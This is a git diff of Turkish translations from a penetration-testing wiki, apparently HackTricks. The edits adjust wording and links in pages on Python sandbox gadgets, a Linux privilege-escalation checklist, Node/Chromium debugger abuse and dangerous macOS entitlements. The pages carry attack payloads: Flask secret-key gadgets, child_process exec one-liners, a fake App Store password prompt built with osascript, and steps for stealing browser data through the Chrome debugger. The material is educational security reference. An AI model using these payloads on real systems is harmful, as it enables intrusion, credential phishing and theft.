Metodolojisi](../windows-hardening/active-directory-methodology/index.html) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\ +Ayrıca [**NTLM**](../windows-hardening/ntlm/index.html) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir. ### DAHA FAZLA -#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/) +#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/index.html) #### **Sömürü** -- [**Temel Linux Sömürüsü**](broken-reference/) +- [**Temel Linux Sömürüsü**](broken-reference/index.html) - [**Temel Windows Sömürüsü**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) -#### [**Temel Python**](python/) +#### [**Temel Python**](python/index.html) #### **Kripto ipuçları** @@ -131,4 +132,5 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 4a4d3d8b2..892bba6ec 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} - **Kontrol edilecek ilginç sayfalar:** - [**Pyscript hacking tricks**](pyscript.md) - [**Python deserializations**](../../pentesting-web/deserialization/index.html#python) -- [**Python sandboxlarını atlatma yöntemleri**](bypass-python-sandboxes/) +- [**Python sandboxlarını atlatma teknikleri**](bypass-python-sandboxes/index.html) - [**Temel python web istekleri sözdizimi**](web-requests.md) - [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index 82c290194..18b44edf2 100644 --- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -8,12 +8,12 @@ ### Flask - Gizli anahtarı oku -Bir Flask uygulamasının ana sayfasında muhtemelen bu **gizli anahtarın yapılandırıldığı** **`app`** global nesnesi olacaktır. +Bir Flask uygulamasının ana sayfasında muhtemelen bu **gizli anahtarın yapılandırıldığı** **`app`** global nesnesi bulunacaktır. ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -Bu durumda, bu nesneye erişmek için herhangi bir gadget kullanarak **global nesnelere erişmek** mümkündür [**Python sandbox'larını atlama sayfasından**](bypass-python-sandboxes/). +Bu durumda, bu nesneye erişmek için herhangi bir gadget kullanarak **global nesnelere erişmek** mümkündür [**Python sandbox'larını atlama sayfasından**](bypass-python-sandboxes/index.html). **Açığın farklı bir python dosyasında olduğu** durumda, ana dosyaya ulaşmak için dosyaları geçmek üzere bir gadget'a ihtiyacınız var, böylece **global nesne `app.secret_key`'e erişebilir** ve Flask gizli anahtarını değiştirebilir ve bu anahtarı bilerek [**yetki yükseltme**] yapabilirsiniz (../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). @@ -21,17 +21,17 @@ Bu yazıdan [şu şekilde bir payload](https://ctftime.org/writeup/36082): ```python __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key ``` -Bu yükü kullanarak **`app.secret_key`**'i (uygulamanızdaki adı farklı olabilir) değiştirerek yeni ve daha fazla yetkiye sahip flask çerezlerini imzalamak için gerekli yetkiye sahip olabilirsiniz. +Bu yükü kullanarak **`app.secret_key`**'i (uygulamanızdaki adı farklı olabilir) değiştirin, böylece yeni ve daha fazla yetkiye sahip flask çerezlerini imzalayabilirsiniz. ### Werkzeug - machine_id ve node uuid -[**Bu yazıdan bu yükleri kullanarak**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** ve **uuid** node'una erişebileceksiniz; bunlar, [**Werkzeug pin'ini oluşturmak için**](../../network-services-pentesting/pentesting-web/werkzeug.md) ihtiyaç duyduğunuz **ana sırlar**dır. Eğer **hata ayıklama modu etkinse**, `/console`'da python konsoluna erişmek için kullanabilirsiniz: +[**Bu yazıdan bu yükleri kullanarak**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** ve **uuid** node'una erişebileceksiniz, bu da [**Werkzeug pin'ini oluşturmak için**](../../network-services-pentesting/pentesting-web/werkzeug.md) ihtiyaç duyduğunuz **ana sırlar**dır. Eğer **hata ayıklama modu etkinse**, `/console`'da python konsoluna erişmek için kullanabilirsiniz: ```python {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id} {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node} ``` > [!WARNING] -> **app.py**'nin **sunucunun yerel yolu**'nu almak için web sayfasında bazı **hatalar** oluşturabileceğinizi unutmayın, bu da **size yolu verecektir**. +> Dikkat edin ki, web sayfasında bazı **hatalar** oluşturarak **app.py** dosyasının **sunucunun yerel yolunu** alabilirsiniz. Eğer zafiyet farklı bir python dosyasındaysa, ana python dosyasından nesnelere erişmek için önceki Flask numarasını kontrol edin. diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md index 7b3681e32..7c94bc4ab 100644 --- a/src/linux-hardening/linux-privilege-escalation-checklist.md +++ b/src/linux-hardening/linux-privilege-escalation-checklist.md @@ -35,12 +35,12 @@ - [ ] **Süreçleri izle** ve ilginç bir sürecin sıkça çalışıp çalışmadığını kontrol et. - [ ] Bazı ilginç **süreç belleğini** (şifrelerin kaydedilebileceği yer) **okuyabilir misin**? -### [Planlı/Cron görevleri?](privilege-escalation/index.html#scheduled-jobs) +### [Zamanlanmış/Cron görevleri?](privilege-escalation/index.html#scheduled-jobs) -- [ ] [**PATH**](privilege-escalation/index.html#cron-path) bazı cron tarafından **değiştiriliyor mu** ve sen **yazabilir misin**? +- [ ] [**PATH**](privilege-escalation/index.html#cron-path) bazı cron tarafından değiştiriliyor mu ve sen **yazabilir misin**? - [ ] Bir cron görevinde herhangi bir [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) var mı? -- [ ] **Çalıştırılan** veya **değiştirilebilir klasörde** bulunan bazı [**değiştirilebilir scriptler**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) var mı? -- [ ] Bazı **scriptlerin** [**çok sık**](privilege-escalation/index.html#frequent-cron-jobs) [**çalıştırıldığını**](privilege-escalation/index.html#frequent-cron-jobs) tespit ettin mi? (her 1, 2 veya 5 dakikada bir) +- [ ] **Değiştirilebilir bir script** (privilege-escalation/index.html#cron-script-overwriting-and-symlink) **çalıştırılıyor mu** veya **değiştirilebilir klasör** içinde mi? +- [ ] Bazı **scriptlerin** [**çok sık**](privilege-escalation/index.html#frequent-cron-jobs) **çalıştırıldığını** tespit ettin mi? (her 1, 2 veya 5 dakikada bir) ### [Hizmetler](privilege-escalation/index.html#services) @@ -72,10 +72,10 @@ - [ ] Genel kullanıcılar/gruplar **enumlemesi** - [ ] **Çok büyük bir UID**'ye sahip misin? **Makine** **güvenli mi**? -- [ ] **Ait olduğun bir grup sayesinde yetki yükseltebilir misin**? [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/) +- [ ] **Ait olduğun bir grup sayesinde yetki yükseltebilir misin**? [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/index.html) - [ ] **Pano** verileri? - [ ] Şifre Politikası? -- [ ] Daha önce keşfettiğin her **bilinen şifreyi** kullanarak **her bir kullanıcıyla** giriş yapmayı dene. Şifre olmadan da giriş yapmayı dene. +- [ ] Daha önce keşfettiğin her **bilinen şifreyi** kullanarak **herhangi bir kullanıcıyla** giriş yapmayı dene. Şifresiz giriş yapmayı da dene. ### [Yazılabilir PATH](privilege-escalation/index.html#writable-path-abuses) @@ -85,12 +85,12 @@ - [ ] **Herhangi bir komutu sudo ile çalıştırabilir misin**? Root olarak herhangi bir şeyi OKUMAK, YAZMAK veya ÇALIŞTIRMAK için kullanabilir misin? ([**GTFOBins**](https://gtfobins.github.io)) - [ ] Herhangi bir **istismar edilebilir SUID ikilisi** var mı? ([**GTFOBins**](https://gtfobins.github.io)) -- [ ] [**sudo** komutları **path** ile **sınırlı mı**? kısıtlamaları **bypass** edebilir misin](privilege-escalation/index.html#sudo-execution-bypassing-paths)? +- [ ] [**sudo** komutları **path** ile **sınırlı mı**? kısıtlamaları **aşabilir misin**](privilege-escalation/index.html#sudo-execution-bypassing-paths)? - [ ] [**Path belirtilmeden Sudo/SUID ikilisi**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)? - [ ] [**Komut yolu belirten SUID ikilisi**](privilege-escalation/index.html#suid-binary-with-command-path)? Bypass - [ ] [**LD_PRELOAD açığı**](privilege-escalation/index.html#ld_preload) -- [ ] Yazılabilir bir klasörden [**SUID ikilisinde .so kütüphanesinin eksikliği**](privilege-escalation/index.html#suid-binary-so-injection)? -- [ ] [**SUDO token'leri mevcut**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Bir SUDO token'i oluşturabilir misin**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? +- [ ] Yazılabilir bir klasörden gelen [**SUID ikilisinde .so kütüphanesi eksikliği**](privilege-escalation/index.html#suid-binary-so-injection)? +- [ ] [**SUDO jetonları mevcut**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Bir SUDO jetonu oluşturabilir misin**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? - [ ] [**sudoers dosyalarını okuyabilir veya değiştirebilir misin**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)? - [ ] [**/etc/ld.so.conf.d/**'yi değiştirebilir misin](privilege-escalation/index.html#etc-ld-so-conf-d)? - [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) komutu @@ -138,6 +138,6 @@ ### [**Diğer numaralar**](privilege-escalation/index.html#other-tricks) - [ ] [**NFS'i yetki yükseltmek için kötüye kullanabilir misin**](privilege-escalation/index.html#nfs-privilege-escalation)? -- [ ] [**kısıtlayıcı bir shell'den kaçmak için**](privilege-escalation/index.html#escaping-from-restricted-shells) ihtiyacın var mı? +- [ ] [**kısıtlayıcı bir shell'den kaçmak**](privilege-escalation/index.html#escaping-from-restricted-shells) için ihtiyacın var mı? {{#include ../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 5b8c9eca8..9758253dd 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -[Belgelerden](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` anahtarı ile başlatıldığında, bir Node.js süreci bir hata ayıklama istemcisi için dinler. **Varsayılan olarak**, **`127.0.0.1:9229`** adresinde ve portta dinleyecektir. Her sürece de **benzersiz** bir **UUID** atanır. +[Belgelerden](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` anahtarı ile başlatıldığında, bir Node.js süreci bir hata ayıklama istemcisi için dinler. **Varsayılan olarak**, **`127.0.0.1:9229`** adresinde dinleyecektir. Her sürece de **benzersiz** bir **UUID** atanır. İnspektör istemcileri, bağlanmak için host adresini, portu ve UUID'yi bilmek ve belirtmek zorundadır. Tam bir URL şu şekilde görünecektir: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. @@ -27,32 +27,32 @@ Bir denetlenen işlem başlattığınızda, şöyle bir şey görünecektir: Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -**CEF** (**Chromium Embedded Framework**) tabanlı süreçler, **debugger**'ı açmak için `--remote-debugging-port=9222` parametresini kullanmalıdır (SSRF korumaları çok benzer kalır). Ancak, **NodeJS** **debug** oturumu vermek yerine, tarayıcı ile [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla iletişim kuracaklardır; bu, tarayıcıyı kontrol etmek için bir arayüzdür, ancak doğrudan bir RCE yoktur. +**CEF** (**Chromium Embedded Framework**) tabanlı süreçler, **debugger**'ı açmak için `--remote-debugging-port=9222` parametresini kullanmalıdır (SSRF korumaları oldukça benzer kalır). Ancak, bir **NodeJS** **debug** oturumu vermek yerine, tarayıcı ile [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla iletişim kuracaklardır; bu, tarayıcıyı kontrol etmek için bir arayüzdür, ancak doğrudan bir RCE yoktur. -Bir hata ayıklama tarayıcısı başlattığınızda, şöyle bir şey görünecektir: +Bir debug edilmiş tarayıcı başlattığınızda, şöyle bir şey görünecektir: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` ### Tarayıcılar, WebSocket'ler ve aynı köken politikası -Bir web tarayıcısında açılan web siteleri, tarayıcı güvenlik modeli altında WebSocket ve HTTP istekleri yapabilir. **Benzersiz bir hata ayıklayıcı oturum kimliği elde etmek için** **ilk bir HTTP bağlantısı** gereklidir. **Aynı köken politikası**, web sitelerinin **bu HTTP bağlantısını** yapmasını **engeller**. [**DNS yeniden bağlama saldırılarına**](https://en.wikipedia.org/wiki/DNS_rebinding)** karşı ek güvenlik için,** Node.js, bağlantı için **'Host' başlıklarının** ya bir **IP adresi** ya da tam olarak **`localhost`** veya **`localhost6`** belirtip belirtmediğini doğrular. +Bir web tarayıcısında açılan web siteleri, tarayıcı güvenlik modeli altında WebSocket ve HTTP istekleri yapabilir. **Benzersiz bir hata ayıklayıcı oturum kimliği elde etmek** için **ilk bir HTTP bağlantısı** gereklidir. **Aynı köken politikası**, web sitelerinin **bu HTTP bağlantısını** yapmasını engeller. [**DNS yeniden bağlama saldırılarına**](https://en.wikipedia.org/wiki/DNS_rebinding)** karşı ek güvenlik** için, Node.js bağlantının **'Host' başlıklarının** ya bir **IP adresi** ya da tam olarak **`localhost`** veya **`localhost6`** belirtip belirtmediğini doğrular. > [!NOTE] > Bu **güvenlik önlemleri, sadece bir HTTP isteği göndererek** kod çalıştırmak için **denetleyiciyi istismar etmeyi** engeller (bu, bir SSRF açığını istismar ederek yapılabilir). ### Çalışan süreçlerde denetleyiciyi başlatma -Çalışan bir nodejs sürecine **SIGUSR1 sinyalini** göndererek, **denetleyiciyi** varsayılan portta **başlatmasını** sağlayabilirsiniz. Ancak, yeterli ayrıcalıklara sahip olmanız gerektiğini unutmayın, bu nedenle bu, size **süreç içindeki bilgilere ayrıcalıklı erişim** sağlayabilir ancak doğrudan bir ayrıcalık yükseltmesi sağlamaz. +Çalışan bir nodejs sürecine **SIGUSR1 sinyalini** göndererek, **denetleyiciyi** varsayılan portta başlatabilirsiniz. Ancak, yeterli ayrıcalıklara sahip olmanız gerektiğini unutmayın, bu nedenle bu, size **süreç içindeki bilgilere ayrıcalıklı erişim** sağlayabilir ancak doğrudan bir ayrıcalık yükseltmesi sağlamaz. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` > [!NOTE] -> Bu, konteynerlerde **süreci kapatıp yeni bir tane başlatmak** `--inspect` ile **bir seçenek değildir** çünkü **konteyner** süreçle birlikte **öldürülecektir**. +> Bu, konteynerlerde **süreci kapatmak ve yeni bir tane başlatmak** `--inspect` ile **bir seçenek değildir** çünkü **konteyner** sürekle birlikte **öldürülecektir**. -### Denetleyiciye/hata ayıklayıcıya bağlanın +### Denetleyiciye/hata ayıklayıcıya bağlanma -**Chromium tabanlı bir tarayıcıya** bağlanmak için, Chrome veya Edge için sırasıyla `chrome://inspect` veya `edge://inspect` URL'leri erişilebilir. Yapılandırma düğmesine tıklanarak **hedef ana bilgisayar ve portun** doğru bir şekilde listelendiğinden emin olunmalıdır. Görüntü, Uzaktan Kod Yürütme (RCE) örneğini göstermektedir: +**Chromium tabanlı bir tarayıcıya** bağlanmak için, Chrome veya Edge için sırasıyla `chrome://inspect` veya `edge://inspect` URL'leri erişilebilir. Yapılandırma düğmesine tıklanarak **hedef ana bilgisayar ve port** bilgilerin doğru listelendiğinden emin olunmalıdır. Görüntü, Uzaktan Kod Yürütme (RCE) örneğini göstermektedir: ![](<../../images/image (674).png>) @@ -73,30 +73,30 @@ Araç [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebu ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` > [!NOTE] -> **NodeJS RCE istismarları**, [**Chrome DevTools Protokolü**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla bir tarayıcıya bağlı olduğunda **çalışmayacaktır** (onunla yapacak ilginç şeyler bulmak için API'yi kontrol etmeniz gerekir). +> **NodeJS RCE istismarları**, [**Chrome DevTools Protokolü**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla bir tarayıcıya bağlı olduğunda **çalışmayacaktır** (bununla ilgili ilginç şeyler bulmak için API'yi kontrol etmeniz gerekir). ## NodeJS Hata Ayıklayıcı/Denetleyici'de RCE > [!NOTE] -> Eğer buraya [**Electron'da bir XSS'den RCE nasıl alınır**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) diye bakmak için geldiyseniz, lütfen bu sayfayı kontrol edin. +> Eğer buraya [**Electron'da bir XSS'den RCE nasıl alınır**] (../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) diye bakmak için geldiyseniz, lütfen bu sayfayı kontrol edin. -Node **denetleyici**'ye **bağlandığınızda** **RCE** elde etmenin bazı yaygın yolları, (bu **Chrome DevTools protokolüne bağlantıda çalışmayacak gibi görünüyor**): +Node **denetleyici** ile **bağlandığınızda** **RCE** elde etmenin bazı yaygın yolları, (bu **Chrome DevTools protokolüne bağlantıda çalışmayacak gibi görünüyor**) bir şey kullanmaktır: ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` -## Chrome DevTools Protokol Yükleri +## Chrome DevTools Protocol Payloads API'yi burada kontrol edebilirsiniz: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ Bu bölümde, insanların bu protokolü istismar etmek için kullandığı ilginç şeyleri listeleyeceğim. ### Derin Bağlantılar Üzerinden Parametre Enjeksiyonu -[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino güvenliği, CEF tabanlı bir uygulamanın sistemde **özel bir URI** (workspaces://) kaydettiğini ve tam URI'yi alarak **CEF tabanlı uygulamayı** bu URI'den kısmen yapılandırılmış bir konfigürasyonla başlattığını keşfetti. +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino güvenliği, CEF tabanlı bir uygulamanın sistemde **özel bir URI** (workspaces://index.html) kaydettiğini ve tam URI'yi alarak **CEF tabanlı uygulamayı** bu URI'den kısmen yapılandırılmış bir konfigürasyonla başlattığını keşfetti. -URI parametrelerinin URL kodlaması yapılarak CEF temel uygulamasını başlatmak için kullanıldığı ve bir kullanıcının **komut satırında** **`--gpu-launcher`** bayrağını **enjekte** etmesine ve rastgele şeyler çalıştırmasına olanak tanıdığı keşfedildi. +URI parametrelerinin URL çözümlemesi yapılarak CEF temel uygulamasını başlatmak için kullanıldığı ve bir kullanıcının **komut satırında** **`--gpu-launcher`** bayrağını **enjekte** etmesine ve rastgele şeyler çalıştırmasına olanak tanıdığı keşfedildi. Yani, şöyle bir yük: ``` @@ -122,11 +122,11 @@ downloadPath: "/code/", ``` ### Webdriver RCE ve exfiltrasyon -Bu gönderiye göre: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE elde etmek ve iç sayfaları exfiltrate etmek mümkündür. +Bu gönderiye göre: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE elde etmek ve iç sayfaları theriver'dan exfiltre etmek mümkündür. ### Post-Exploitation -Gerçek bir ortamda ve **bir kullanıcı PC'sini ele geçirdikten sonra** Chrome/Chromium tabanlı bir tarayıcı kullanan, **debugging etkinleştirilmiş ve debugging portunu yönlendirilmiş** bir Chrome süreci başlatabilirsiniz. Bu şekilde, **kurbanın Chrome ile yaptığı her şeyi inceleyebilir ve hassas bilgileri çalabilirsiniz**. +Gerçek bir ortamda ve **bir kullanıcı PC'sini ele geçirdikten sonra** Chrome/Chromium tabanlı bir tarayıcı kullanan bir kullanıcıyı ele geçirdiğinizde, **hata ayıklama etkinleştirilmiş ve hata ayıklama portunu yönlendirilmiş** bir Chrome süreci başlatabilirsiniz. Bu şekilde, **kurbanın Chrome ile yaptığı her şeyi inceleyebilir ve hassas bilgileri çalabilirsiniz**. Gizli yol, **her Chrome sürecini sonlandırmak** ve ardından şöyle bir şey çağırmaktır: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 6f58cbcf0..2b99512c2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -63,13 +63,13 @@ macos-security-protections/ ### Dosya İzinleri -Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetki yükseltmek için** kötüye kullanabilir.\ +Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetkileri yükseltmek için** kötüye kullanabilir.\ Bu aşağıdaki durumlarda gerçekleşebilir: - Kullanılan dosya zaten bir kullanıcı tarafından oluşturulmuş (kullanıcıya ait) - Kullanılan dosya, bir grup nedeniyle kullanıcı tarafından yazılabilir -- Kullanılan dosya, kullanıcıya ait bir dizin içindedir (kullanıcı dosyayı oluşturabilir) -- Kullanılan dosya, root'a ait bir dizin içindedir ancak kullanıcı bir grup nedeniyle üzerinde yazma erişimine sahiptir (kullanıcı dosyayı oluşturabilir) +- Kullanılan dosya, kullanıcıya ait bir dizin içinde (kullanıcı dosyayı oluşturabilir) +- Kullanılan dosya, root'a ait bir dizin içinde ancak kullanıcı bir grup nedeniyle üzerinde yazma erişimine sahip (kullanıcı dosyayı oluşturabilir) **root** tarafından **kullanılacak bir dosya** oluşturabilmek, bir kullanıcının **içeriğinden faydalanmasına** veya hatta başka bir yere işaret etmek için **sembolik/sert bağlantılar** oluşturmasına olanak tanır. @@ -95,7 +95,7 @@ Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen Bu ayrıcalıklar genellikle uygulamanın imzalandığı **haklar** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir sürecin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir sürecin **çocuğu** olmaktır, çünkü genellikle **miras alınırlar**. -Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl atlandığı**](macos-security-protections/macos-sip.md#sip-bypasses). +Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) ve geçmişte [**SIP'nin nasıl aşıldığı**](macos-security-protections/macos-sip.md#sip-bypasses). ## macOS Geleneksel Yetki Yükseltme diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index eb4a8063d..e2ac25d37 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -17,15 +17,15 @@ Yetki **`com.apple.rootless.install`**, **SIP'yi atlamaya** izin verir. Daha faz ### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)** -Bu yetki, **çekirdek hariç** herhangi bir süreç için **görev portunu** almayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/). +Bu yetki, **çekirdek hariç** herhangi bir süreç için **görev portunu** almayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.get-task-allow` -Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer süreçlerin, bu yetkiye sahip ikili tarafından çalıştırılan sürecin görev portunu almasına ve **kod enjekte etmesine** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/). +Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer süreçlerin, bu yetkiye sahip ikili dosya tarafından çalıştırılan sürecin görev portunu almasına ve **kod enjekte etmesine** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html). ### `com.apple.security.cs.debugger` -Hata Ayıklama Aracı Yetkisine sahip uygulamalar, `task_for_pid()` çağrısı yaparak, `Get Task Allow` yetkisi `true` olarak ayarlanmış imzasız ve üçüncü taraf uygulamalar için geçerli bir görev portu alabilir. Ancak, hata ayıklama aracı yetkisi ile bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** süreçlerin görev portlarını **alamaz** ve bu nedenle Sistem Bütünlüğü Koruması tarafından korunur. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). +Hata Ayıklama Aracı Yetkisine sahip uygulamalar, `task_for_pid()` çağrısı yaparak, `Get Task Allow` yetkisi `true` olarak ayarlanmış imzasız ve üçüncü taraf uygulamalar için geçerli bir görev portu alabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** süreçlerin görev portlarını **alamaz** ve bu nedenle Sistem Bütünlüğü Koruması tarafından korunur. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). ### `com.apple.security.cs.disable-library-validation` @@ -54,7 +54,7 @@ Bir **çekirdek uzantısını** yüklemek için çekirdekten talepte bulunmak i ### **`com.apple.private.icloud-account-access`** -Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu, **iCloud token'ları** sağlar. +Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu da **iCloud token'ları** sağlar. **iMovie** ve **Garageband** bu yetkiye sahipti. @@ -87,37 +87,37 @@ Bu yetki, uygulamanın erişim sağladığı **anahtar zinciri** gruplarını li ``` ### **`kTCCServiceSystemPolicyAllFiles`** -**Tam Disk Erişimi** izinleri verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biridir. +**Tam Disk Erişimi** izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biridir. ### **`kTCCServiceAppleEvents`** -Uygulamanın, **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. +Uygulamaya, **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. Kullanıcıdan şifresini istemelerini sağlamak gibi: ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` -Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak. +Or making them perform **keyfi eylemler**. ### **`kTCCServiceEndpointSecurityClient`** -Diğer izinlerin yanı sıra, **kullanıcıların TCC veritabanını yazma** izni verir. +Kullanıcının TCC veritabanını **yazma** gibi izinler verir. ### **`kTCCServiceSystemPolicySysAdminFiles`** -Bir kullanıcının ana dizin yolunu değiştiren **`NFSHomeDirectory`** niteliğini **değiştirmeye** izin verir ve böylece **TCC'yi atlatmaya** olanak tanır. +Kullanıcının ev dizin yolunu değiştiren 